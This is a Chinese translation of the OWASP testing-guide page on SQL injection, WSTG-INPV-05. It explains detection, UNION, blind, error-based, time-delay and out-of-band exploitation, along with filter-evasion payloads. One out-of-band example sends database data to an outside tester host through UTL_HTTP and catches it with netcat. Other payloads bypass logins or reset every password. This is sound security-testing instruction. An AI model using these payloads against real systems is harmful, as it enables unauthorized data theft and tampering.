4.7.5.0-测试 SQL 注入

测试 SQL 注入

ID
WSTG-INPV-05

##总结
SQL 注入测试检查是否可以将数据注入应用程序,以便它在数据库中执行用户控制的 SQL 查询。如果应用程序使用用户输入创建 SQL 查询而没有进行适当的输入验证,测试人员会发现 SQL 注入漏洞。成功利用此类漏洞将允许未经授权的用户访问或操纵数据库中的数据。

SQL 注入攻击包括通过数据输入插入或“注入”部分或完整的 SQL 查询,或从客户端(浏览器)传输到 Web 应用程序。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容或将文件写入文件系统,在某些情况下,还可以向操作系统发出命令。SQL 注入攻击是一种注入攻击,其中 SQL 命令被注入到数据平面输入中,以影响预定义 SQL 命令的执行。

通常,Web 应用程序构造涉及程序员编写的 SQL 语法的 SQL 语句的方式与用户提供的数据混合在一起。例:

select title, text from news where id=$id

在上面的示例中,变量 $id 包含用户提供的数据,而其余部分是程序员提供的 SQL 静态部分;使 SQL 语句动态化。

由于它的构造方式,用户可以提供精心设计的输入,以尝试使原始 SQL 语句执行用户选择的进一步操作。下面的示例说明了用户提供的数据 “10 or 1=1”,更改了 SQL 语句的逻辑,修改了 WHERE 子句,添加了条件 “or 1=1”。

select title, text from news where id=10 or 1=1

注意:将条件 OR 1=1 注入 SQL 查询时要小心。尽管这在您注入的初始上下文中可能是无害的,但应用程序通常会在多个不同的查询中使用来自单个请求的数据。例如,如果您的条件达到 UPDATE 或 DELETE 语句,这可能会导致意外丢失数据。

SQL 注入攻击可分为以下三类:

  • Inband:使用用于注入 SQL 代码的同一通道提取数据。这是最直接的攻击类型,其中检索到的数据直接显示在应用程序网页中。
  • Out-of-band:使用不同的渠道检索数据(例如,生成包含查询结果的电子邮件并将其发送给测试人员)。
  • Inferential or Blind:没有实际的数据传输,但测试人员能够通过发送特定请求并观察 DB Server 的结果行为来重建信息。

成功的 SQL 注入攻击需要攻击者制作语法正确的 SQL 查询。如果应用程序返回由不正确的查询生成的错误消息,则攻击者可能更容易重建原始查询的逻辑,从而了解如何正确执行注入。但是,如果应用程序隐藏了错误详细信息,那么测试人员必须能够对原始查询的逻辑进行逆向工程。

关于利用 SQL 注入缺陷的技术,有五种常见的技术。此外,这些技术有时可以以组合方式使用(例如联合运算符和带外):

  • Union Operator:当 SELECT 语句中发生 SQL 注入缺陷时,可以使用联合运算符,从而可以将两个查询合并为一个结果或结果集。
  • 布尔值:使用布尔值条件来验证某些条件是 true 还是 false。
    基于错误:此技术强制数据库生成错误,为攻击者或测试人员提供信息,以便优化其注入。
  • Out-of-band:用于使用不同通道检索数据的技术(例如,建立 HTTP 连接以将结果发送到 Web 服务器)。
  • Time delay:使用数据库命令(例如 sleep)来延迟条件查询中的答案。当攻击者没有来自应用程序的某种答案(结果、输出或错误)时,它很有用。

测试目标

  • 识别 SQL 注入点。
  • 评估注射的严重性以及可以通过注射实现的访问级别。

如何测试

检测技术

此测试的第一步是了解应用程序何时与 DB Server 交互以访问某些数据。应用程序需要与 DB 通信的典型示例包括:

  • 身份验证表单:使用 Web 表单执行身份验证时,可能会根据包含所有用户名和密码(或者更好的是密码哈希)的数据库来检查用户凭据。
  • 搜索引擎:用户提交的字符串可用于从数据库中提取所有相关记录的 SQL 查询。
    电子商务网站:产品及其特性(价格、描述、可用性等)很可能存储在数据库中。

测试人员必须列出所有 input 字段,其值可用于制作 SQL 查询,包括 POST 请求的隐藏字段,然后单独测试它们,试图干扰查询并生成错误。还要考虑 HTTP 标头和 Cookie。

第一个测试通常包括向被测字段或参数添加单引号 ' 或分号 ; 。第一个在 SQL 中用作字符串终止符,如果应用程序未对其进行筛选,则会导致查询不正确。第二个用于结束 SQL 语句,如果未过滤,则也可能生成错误。易受攻击字段的输出可能类似于以下内容(在本例中为 Microsoft SQL Server 上):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

还可以使用注释符(--/* */,等),以及其他 SQL 关键字(如 ANDOR )来尝试修改查询。一个非常简单但有时仍然有效的技术是,,在需要数字的地方插入一个字符串,因为下面的错误可能会生成:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

监控来自 Web 服务器的所有响应并查看 HTML/JavaScript 源代码。有时错误存在于它们内部,但由于某种原因(例如 JavaScript 错误、HTML 注释等)没有呈现给用户。完整的错误消息(如示例中的错误消息)为测试人员提供了大量信息,以便发起成功的注入攻击。但是,应用程序通常不会提供太多详细信息:可能会发出简单的“500 Server Error”或自定义错误页面,这意味着我们需要使用盲注技术。无论如何,单独测试每个字段非常重要:只有一个变量必须变化,而所有其他变量都必须保持不变,以便准确了解哪些参数易受攻击,哪些参数不易受攻击。

标准 SQL 注入测试

经典 SQL 注入

请考虑以下 SQL 查询:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

通常从 Web 应用程序使用类似的查询来验证用户。如果查询返回一个值,则表示数据库内存在具有该组凭证的用户,则允许用户登录系统,否则将拒绝访问。输入字段的值通常通过 Web 表单从用户处获取。假设我们插入以下 Username 和 Password 值:

$username = 1' or '1' = '1

$password = 1' or '1' = '1

查询将是:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

注意: 将条件 OR 1=1 注入 SQL 查询时要小心。尽管这在您注入的初始上下文中可能是无害的,但应用程序通常会在多个不同的查询中使用来自单个请求的数据。例如,如果您的条件达到 UPDATE 或 DELETE 语句,这可能会导致意外丢失数据。

如果我们假设参数的值是通过 GET 方法发送到服务器的,并且如果易受攻击站点的域是 www.example.com,我们将执行的请求将是:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

经过简短的分析后,我们注意到查询返回一个值(或一组值),因为条件始终为 true (OR 1=1)。这样,系统在不知道用户名和密码的情况下对用户进行了身份验证。

注: 在某些系统中,用户表的第一行将是管理员用户。在某些情况下,这可能是返回的配置文件。

另一个示例查询如下:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

在这种情况下,有两个问题,一个是由于使用了括号,另一个是由于使用了 MD5 哈希函数。首先,我们解决括号的问题。这只是包括添加一些右括号,直到我们获得更正的查询。为了解决第二个问题,我们尝试规避第二个条件。我们在查询中添加一个 final symbol,这意味着注释正在开始。这样,该符号后面的所有内容都被视为注释。每个 DBMS 都有自己的注释语法,但是,大多数数据库的通用符号是 /*。在 Oracle 中,符号是 -- 。也就是说,我们将用作 Username (用户名) 和 Password (密码) 的值是:

$username = 1' or '1' = '1'))/*

$password = foo

这样,我们将得到以下查询:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

(由于在$username值中包含了注释分隔符,查询的密码部分将被忽略。)

请求 URL 将为:
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

这可能会返回许多值。有时,身份验证代码会验证返回的记录/结果数是否正好等于 1。在前面的示例中,这种情况会很困难(在数据库中,每个用户只有一个值)。为了解决这个问题,只需插入一个 SQL 命令,该命令就足够了,该命令施加一个条件,即返回的结果数量必须为 1(返回一条记录)。为了达到这个目标,我们使用运算符LIMIT <num>,其中<num>是我们希望返回的结果/记录的数目。对于前面的示例,字段 Username 和 Password 的值将修改如下:

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

通过这种方式,我们创建如下所示的请求:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo

SELECT 语句

请考虑以下 SQL 查询:

SELECT * FROM products WHERE id_product=$id_product

还要考虑对执行上述查询的脚本的请求:

http://www.example.com/product.php?id=10

当测试人员尝试有效值(例如,在本例中为 10)时,应用程序将返回产品的描述。在这种情况下,测试应用程序是否易受攻击的一个好方法是使用运算符 AND 和 OR 来玩弄逻辑。

请考虑以下请求:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

在这种情况下,应用程序可能会返回一些消息,告诉我们没有可用内容或空白页面。然后测试者可以发送一个 true 语句并检查是否有有效的结果:

http://www.example.com/product.php?id=10 AND 1=1

堆叠查询

根据 Web 应用程序使用的 API 和 DBMS(e.g. PHP + PostgreSQL、ASP+SQL SERVER),可以在一次调用中执行多个查询。

请考虑以下 SQL 查询:

SELECT * FROM products WHERE id_product=$id_product

利用上述情况的一种方法是:

http://www.example.com/product.php?id=10; INSERT INTO users (…)

这种方式可以连续执行许多查询,并且独立于第一个查询。

对数据库进行指纹识别

尽管 SQL 语言是一种标准语言,但每个 DBMS 都有其特殊性,并且在许多方面都有所不同,例如特殊命令、检索数据的功能(如用户名和数据库)、功能、注释行等。

当测试人员转向更高级的 SQL 注入利用时,他们需要知道后端数据库是什么。

应用程序返回的错误

找出使用的后端数据库的第一种方法是观察应用程序返回的错误。以下是一些错误消息示例:

我的 Sql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

一个带有 version()的完整 UNION SELECT 也有助于了解后端数据库。

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL服务器:

Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

如果没有错误消息或自定义错误消息,测试人员可以尝试使用不同的连接技术注入字符串字段:

  • MySql: ‘test’ + ‘ing’
  • SQL Server: ‘test’ ‘ing’
  • Oracle: ‘test’||’ing’
  • PostgreSQL: ‘test’||’ing’

技术运营

联合开发技术

UNION 运算符在 SQL 注入中用于将测试人员故意伪造的查询联接到原始查询。伪造查询的结果将与原始查询的结果联接,允许测试者获取其他表的列值。对于我们的示例,假设从服务器执行的查询如下:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

我们将设置以下$id值:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

我们将有以下查询:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

它将原始查询的结果与 CreditcardTable 表中的所有信用卡号码连接起来。关键字 ALL 是必要的,以避免使用关键字DISTINCT的查询。此外,我们注意到,除了信用卡号码外,我们还选择了另外两个值。这两个值是必要的,因为这两个查询必须具有相同数量的参数/列,以避免语法错误。

为了使用这种技术利用 SQL 注入漏洞,测试人员需要找到的第一个细节是 SELECT 语句中正确的列数。

为了实现这一点,测试人员可以使用ORDER BY 语句,后面加上一个数字,表示所选数据库列的编号:In order to achieve this,
http://www.example.com/product.php?id=10 ORDER BY 10--

如果查询成功执行,则测试人员可以假定在此示例中 SELECT 语句中有 10个或更多列。如果查询失败,则返回的列数必须少于 10个。如果存在错误消息,则可能是:

Unknown column '10' in 'order clause'

测试人员找出列数后,下一步是找出列的类型。假设上面的例子中有 3 列,测试人员可以尝试每种列类型,使用 NULL 值来帮助他们:

http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--

如果查询失败,测试人员可能会看到如下消息:

All cells in a column must have the same datatype

如果查询成功执行,则第一列可以是整数。然后测试器可以更进一步,依此类推:

http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--

在成功收集信息后,根据应用程序,它可能只会向测试人员显示第一个结果,因为应用程序只处理结果集的第一行。在这种情况下,可以使用LIMIT 子句,或者测试人员可以设置无效值,使第二个查询有效(假设数据库中没有ID等于99999 的条目):

http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--

隐藏的联合利用技术

最好使用 union 技术来利用 SQL 注入,因为您可以在一个请求中检索查询结果。
但大多数 SQL 注入都是盲目的。但是,您可以将其中一些转换为基于联合的注入。

识别

以下方法中的任何一种都可用于识别这些 SQL 注入:

  1. 易受攻击的查询返回数据,但注入是盲目的。
  2. ORDER BY技术有效,但无法实现基于联合的注入。

Root Cause
根本原因

您无法使用通常的Union技术的原因是易受攻击的查询的复杂性。在 Union Technique 中,您在 UNION 有效负载之后注释查询的其余部分。对于普通查询来说这是可以的,但在更复杂的查询中,它可能会出现问题。如果查询的第部分取决于其第二部分,则评论其余部分就会破坏原始查询。

场景 1 易受攻击

的查询是一个子查询,父查询处理返回数据。

SELECT 
  * 
FROM 
  customers 
WHERE 
  id IN (                 --\
    SELECT                   |
      DISTINCT customer_id   |
    FROM                     |
      orders                 |--> vulnerable query
    WHERE                    |
      cost > 200             |
  );                      --/
  • 问题:如果注入 UNION 有效载荷,则不会影响返回的数据。因为您正在修改 WHERE部分。事实上,您并没有在原始查询中追加查询。
  • 解决方案:您需要知道在后端执行的查询。然后,根据它创建您的有效负载。这意味着关闭打开的括号或在需要时添加适当的
    关键字。

场景 2:易受攻击

易受攻击的查询包含别名或变量声明。

SELECT 
  s1.user_id, 
  (                                                                                      --\
    CASE WHEN s2.user_id IS NOT NULL AND s2.sub_type = 'INJECTION_HERE' THEN 1 ELSE 0 END   |--> vulnerable query
  ) AS overlap                                                                           --/
FROM 
  subscriptions AS s1 
  LEFT JOIN subscriptions AS s2 ON s1.user_id != s2.user_id 
  AND s1.start_date <= s2.end_date 
  AND s1.end_date >= s2.start_date 
GROUP BY 
  s1.user_id
  • 问题:_在注入有效载荷后对原始查询的其余部分进行注释时,会中断查询,因为一些别名或变量会变成undefined
  • Solution: 您需要在有效负载的开头放置适当的关键字或别名。这样,原始查询的第一部分将保持有效。

场景 3

易受攻击的查询的结果正在第二个查询中使用。第二个查询返回数据,而不是第一个查询。

<?php
// retrieves product ID based on product name
                            --\
$query1 = "SELECT              |
             id                |
           FROM                |
             products          |--> vulnerable query #1
           WHERE               |
             name = '$name'";  |
                            --/
$result1 = odbc_exec($conn, $query1);
// retrieves product's comments based on the product ID
                              --\
$query2 = "SELECT                |
             comments            |
           FROM                  |
             products            |--> vulnerable query #2
           WHERE                 |
             id = '$result1'";   |
                              --/
$result1 = odbc_exec($conn, $query2);
?>
  • 问题:您可以向第一个查询添加 UNION 有效载荷,但这不会影响返回的数据。

  • 解决方案:您需要在第二个查询中注入。因此,第二个查询的输入不应进行消毒。然后,您需要使第一个查询返回无数据。现在,添加一个 UNION查询,该查询返回您想要在 第二次查询 中注入的载荷。

    示例:
    有效负载的基数(您在第一个查询中注入的内容):

    ' AND 1 = 2 UNION SELECT "PAYLOAD" -- -
    

PAYLOAD 是您想在 第二个查询 中注入的内容:

' AND 1=2 UNION SELECT ...

最终有效载荷(替换PAYLOAD后) :

' AND 1 = 2 UNION SELECT "' AND 1=2 UNION SELECT ..." -- -
                          \________________________/
                                      ||
                                      \/
                               the payload that
                                get's injected
                             into the second query
\________________________________________________________/
                            ||
                            \/
 the actual query we inject into the vulnerable parameter

注入后的第一个查询:

SELECT               --\
  id                    |
FROM                    |----> first query
  products              |
WHERE                   |
  name = 'abcd'      --/
  AND 1 = 2                                 --\
UNION                                          |----> injected payload (what gets injected into the second payload)
SELECT                                         |
  "' AND 1=2 UNION SELECT ... -- -" -- -'   --/

注入后的第二个查询:

SELECT            --\
  comments           |
FROM                 |----> second query
  products           |
WHERE                |
  id = ''         --/
  AND 1 = 2         --\ 
UNION                  |----> injected payload (the final UNION query that controls the returned data)
SELECT ... -- -'    --/

场景 4
在多个独立查询中使用 vulnerable 参数。

<?php
//retriveing product details based on product ID
$query1 = "SELECT 
             name, 
             inserted, 
             size 
           FROM 
             products 
           WHERE 
             id = '$id'";
$result1 = odbc_exec($conn, $query1);
//retriveing product's comments based on product ID
$query2 = "SELECT 
             comments 
           FROM 
             products 
           WHERE 
             id = '$id'";
$result2 = odbc_exec($conn, $query2);
?>
  • 问题:将UNION查询应用于第一个(或第二个)查询并不会破坏该查询,但可能会破坏另一个查询。
  • 解决方案:这取决于应用程序的代码结构。但第一步是了解原始查询。大多数时候,这些注入都是基于时间的。此外,基于时间的有效负载会在几个查询中注入,这可能会出现问题。例如,如果您使用 SQLMap,这种情况会混淆工具,输出会混乱。因为延迟不会像预期的那样。

提取原始查询
如你所见,要实现基于 union 的注入,始终需要了解原始查询。
您可以使用默认 DBMS 表检索原始查询:

DBMSTable
MySQLINFORMATION_SCHEMA.PROCESSLIST
PostgreSQLpg_stat_activity
Microsoft SQL Serversys.dm_exec_cached_plans
OracleV$SQL

自动化

工作流程的步骤:

  1. 使用 SQLMap 和盲注提取原始查询。SQLMap
  2. 根据原始查询构建基础有效负载,并实现基于 union 的注入。
  3. 通过以下选项之一自动利用基于联合的注入:
    • 指定自定义注射点标记 (*)

    • 使用 --prefix--suffix flags.

示例:

考虑上面讨论的第三个场景。
我们假设 DMBS 为 mysql ,并且第一个和第二个查询仅返回一列。
这可以是提取数据库版本的有效负载:

' AND 1=2 UNION SELECT " ' AND 1=2 UNION SELECT @@version -- -" -- -

所以目标 URL 将如下所示:

http://example.org/search?query=abcd'+AND+1=2+UNION+SELECT+"+'AND 1=2+UNION+SELECT+@@version+--+-"+--+-

自动化:

  • _自定义注射点标记 _ (*):

    sqlmap -u "http://example.org/search?query=abcd'AND 1=2 UNION SELECT \"*\"-- -"
    
  • --prefix--suffix flags:

    sqlmap -u "http://example.org/search?query=abcd" --prefix="'AND 1=2 UNION SELECT \"" --suffix="\"-- -"
    
布尔

当测试人员发现 Blind SQL Injection 情况时,布尔值利用技术非常有用,在这种情况下,对操作的结果一无所知。例如,如果程序员创建了一个自定义错误页面,而该页面不会在查询结构或数据库上显示任何内容,则会发生此行为。(该页面不会返回 SQL 错误,它可能只返回 HTTP 500、404 或重定向)。

通过使用推理方法,可以避免这一障碍,从而成功地恢复一些所需领域的值。该方法包括对服务器执行一系列布尔查询,观察答案,最后推断出这些答案的含义。与往常一样,我们考虑 www.example.com 域,假设它包含一个名为id的参数,易受 SQL注入。这意味着当执行以下请求时:

http://www.example.com/index.php?id=1'

我们将得到一个页面,其中包含自定义错误消息,这是由于查询中的语法错误造成的。我们假设在服务器上执行的查询是:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

这可以通过前面看到的方法进行利用。我们想要获取的是 username 字段的值。我们将执行的测试将允许我们获取 username 字段的值,并逐个字符提取该值。这可以通过使用几乎每个数据库中都存在的一些标准函数来实现。对于我们的示例,我们将使用以下伪函数:

  • SUBSTRING (text, start, length):返回从文本的 “start” 位置开始且长度为 “length” 的子字符串。如果 “start” 大于文本长度,则函数返回 null 值。

  • ASCII (char):返回输入字符的 ASCII 值。如果 char 为 0,则返回 null 值。

  • LENGTH (text):返回输入文本中的字符数。

通过这些函数,我们将在第一个字符上执行我们的测试,当我们发现该值时,我们将传递到第二个字符以此类推,直到我们发现整个值。这些测试将利用SUBSTRING函数,以便一次只选择一个字符(选择单个字符意味着将长度参数设置为 1)以及 ASCI 函数,以便获取 ASCII值,以便我们可以进行数字比较。比较结果将与所有 ASCI值进行比较,直到找到正确的值。作为一个例子,我们将使用以下值来表示 Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

这将创建以下查询(从现在开始,我们将其称为 “inferential query”):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

当且仅当字段 username 的第一个字符等于 ASCII 值 97 时,前面的示例才会返回结果。如果我们得到一个 false 值,那么我们将 ASCII 表的索引从 97 增加到 98,然后重复请求。如果我们获得 true 值,我们将 ASCII 表的索引设置为零,然后分析下一个字符,修改 SUBSTRING 函数的参数。问题在于了解我们如何区分返回 true 值的测试与返回 false 的测试。为此,我们创建一个始终返回 false 的查询。这可以通过使用 以下值来实现Id

$Id=1' AND '1' = '2

这将创建以下查询:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

从服务器获得的响应(即 HTML 代码)将是测试的 false 值。这足以验证从执行推理查询中获得的值是否等于之前执行测试获得的值。有时,此方法不起作用。如果服务器由于两个相同的连续 Web 请求而返回两个不同的页面,我们将无法区分 true 值和 false 值。在这些特殊情况下,有必要使用特定的过滤器,这些过滤器允许我们消除在两个请求之间更改的代码并获取模板。稍后,对于执行的每个推理请求,我们将使用相同的函数从响应中提取相对模板,并且我们将在两个模板之间执行控制,以确定测试结果。

在前面的讨论中,我们没有处理确定测试终止条件的问题,即我们应该何时结束推理过程。实现此目的的技术使用 SUBSTRING 函数和 LENGTH 函数的一个特征。当测试将当前字符与 ASCII 代码 0(即值 null)进行比较并且测试返回值 true 时,要么我们完成了推理过程(我们已经扫描了整个字符串),要么我们分析的值包含空字符。

我们将为字段Id插入以下值:

$Id=1' AND LENGTH(username)=N AND '1' = '1

其中 N 是我们到目前为止分析的字符数(不计算 null 值)。查询将是:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

查询返回 true 或 false。如果我们得到 true,那么我们就完成了推理,因此,我们知道参数的值。如果我们获得 false,这意味着参数的值中存在 null 字符,我们必须继续分析下一个参数,直到找到另一个 null 值。

盲目 SQL 注入攻击需要大量查询。测试人员可能需要一个自动工具来利用此漏洞。

基于错误的漏洞利用技术

当测试人员由于某种原因无法使用其他技术(如 UNION)利用 SQL 注入漏洞时,基于错误的利用技术非常有用。基于错误的技术包括强制数据库执行某些操作,其中结果将是错误。这里的重点是尝试从数据库中提取一些数据并将其显示在错误消息中。这种开发技术可能因 DBMS 和 DBMS 而异(请查看 DBMS 特定部分)。

请考虑以下 SQL 查询:

SELECT * FROM products WHERE id_product=$id_product

还要考虑对执行上述查询的脚本的请求:

http://www.example.com/product.php?id=10

恶意请求将是 (例如 Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--

在这个示例中,测试人员将值10与函数UTLINADDR.GET_HOST NAME的结果连接起来。此 Oracle 函数将尝试返回传递给它的参数的主机名,这是其他查询,即用户名。当数据库查找具有用户数据库名称的主机名时,它将失败并返回一条错误消息,例如:

ORA-292257: host SCOTT unknown

然后测试人员可以操作传递给 GET_HOST_NAME() 函数的参数,结果将显示在错误消息中。

Out of Band Exploitation Technique

带外开发技术
当测试人员发现Blind SQL Injection 情况时,这种技术非常有用,在这种情况下,对操作的结果一无所知。该技术包括使用 DBMS 函数来执行带外连接,并将注入的查询的结果作为请求的一部分传递给测试人员的服务器。与基于错误的技术一样,每个 DBMS 都有自己的功能。检查特定的 DBMS 部分。

请考虑以下 SQL 查询:

SELECT * FROM products WHERE id_product=$id_product

还要考虑对执行上述查询的脚本的请求:

http://www.example.com/product.php?id=10

恶意请求将是:

http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--

在这个示例中,测试人员将值10与函数UTL_HTTP.request的结果连接起来。这个Oracle函数将尝试连接到 测试服务器testerserver ,并发出一个HTTP GET请求,其中包含查询SELECT user FROM DUAL的返回值测试人员可以设置一个Web服务器(例如Apache),或者使用Netcat工具:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close
延时注入

当测试人员发现 Blind SQL Injection 情况时, Blind SQL Injection 技术非常有用,在这种情况下,对操作的结果一无所知。该技术包括发送注入的查询,如果条件为 true,测试人员可以监控服务器响应所花费的时间。如果存在延迟,测试人员可以假设条件查询的结果是 true。这种开发技术可能因 DBMS 和 DBMS 而异(请查看 DBMS 特定部分)。

请考虑以下 SQL 查询:

SELECT * FROM products WHERE id_product=$id_product

还要考虑对执行上述查询的脚本的请求:

http://www.example.com/product.php?id=10

恶意请求将是(例如 MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--

在此示例中,测试人员正在检查 MySql 版本是否为 5.x,使服务器将答案延迟 10 秒。测试器可以增加延迟时间并监控响应。测试人员也不需要等待响应。有时他可以设置一个非常高的值(例如 100)并在几秒钟后取消请求。

存储过程注入

在存储过程中使用动态 SQL 时,应用程序必须适当地审查用户输入,以消除代码注入的风险。如果不清理,用户可能会输入将在存储过程中执行的恶意 SQL。

请考虑以下 SQL Server 存储过程:

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  =Select 1 from users
Where username =+ @username +and passwd =+ @passwd
exec(@sqlstring)
Go

用户输入:

anyusername or 1=1'
anypassword

此过程不会清理输入,因此允许返回值显示具有这些参数的现有记录。

由于使用动态 SQL 登录用户,此示例似乎不太可能,但请考虑一个动态报告查询,其中用户选择要查看的列。用户可能会将恶意代码插入此方案并泄露数据。

请考虑以下 SQL Server 存储过程:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  =Select+ @columnamelist +from ReportTable‘
exec(@sqlstring)
Go

用户输入:

1 from users; update users set password = 'password'; select *

这将导致报告运行并更新所有用户的密码。

自动利用

这里介绍的大多数情况和技术都可以使用一些工具以自动化方式执行。在本文中,测试人员可以找到如何使用 SQLMap执行自动审计的信息

SQL 注入签名规避技术

这些技术用于绕过 Web 应用程序防火墙 (WAF) 或入侵防御系统 (IPS) 等防御措施。另请参阅 https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

Whitespace

删除空格或添加不会影响SQL语句的空格。例如:

or 'a'='a'

or 'a'  =    'a'

添加特殊字符,如新行或制表符,不会改变SQL语句的执行。举个例子,

or
'a'=
        'a'
Null Bytes

在过滤器拦截的字符之前使用空字节(%00)

例如,如果攻击者可能注入以下SQL

' UNION SELECT password FROM Users WHERE username='admin'--

要添加空字节将是

%00' UNION SELECT password FROM Users WHERE username='admin'--

SQL 注释

添加SQL内置注释还可以帮助SQL语句有效并绕过SQL注入过滤器。以此SQL注入为例。

' UNION SELECT password FROM Users WHERE name='admin'--

添加SQL内置注释将是:

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--

URL 编码

使用在线URL编码 to encode the SQL statement

' UNION SELECT password FROM Users WHERE name='admin'--

SQL注入语句的URL编码将为

%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--

字符编码

Char()函数可以用来替换英文char,例如char(114,111,111,116)表示根

' UNION SELECT password FROM Users WHERE name='root'--

要应用Char(),SQL注入语句将是

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--

字符串连接

连接可以分割SQL关键字并规避过滤器。连接语法因数据库引擎而异。以MSSQL引擎为例

select 1

可以通过使用连接来更改简单的SQL语句如下所示:

EXEC('SEL' + 'ECT 1')

十六进制编码

Hex encoding technique uses Hexadecimal encoding to replace original SQL statement char. For example, root can be represented as 726F6F74

十六进制编码技术使用十六进制的编码来替换原始SOL语句的字符。例如,root 可以表示为 726F6F74

Select user from users where name = 'root'

使用十六进制值的SQL语句将是:

Select user from users where name = 726F6F74

or

Select user from users where name = unhex('726F6F74')

声明变量

将SQL注入语句声明为变量并执行它。

例如,下面的SQL注入语句

Union Select password

将SQL语句定义为变量SQLivar

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)
'or 1 = 1’的替代表达式
OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

SQL通配符注入

大多数 SQL方言都支持单字符通配符(通常是 “?” 或"_“)和多字符通配符(通常为”%" 或"*"),这些通配符可以用LIKE运算符在查询中使用。即使使用适当的控件(如参数或预处理语句)来防止 SOL注入攻击,也可能将通配符注入查询中。

例如,如果一个Web 应用程序允许用户在结账过程中输入折扣代码,并且它使用 SELECT * FROM discount_codes WHERE code LIKE ':code'这样的查询来检查该代码是否存在于数据库中,那么输入 % 的值(该值将被插入到 :code 参数的位置)将匹配所有折扣代码。

此技术还可用于通过越来越具体的查询(如a%, b%, ba%, 等)来确定精确的折扣代码。

Remediation

对于一般的输入验证安全性,请参考输入验证小册子.

工具

引用

已为下列DBMS创建了技术特定的测试指南页面:

白皮书

产品中SQL注入漏洞文档

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值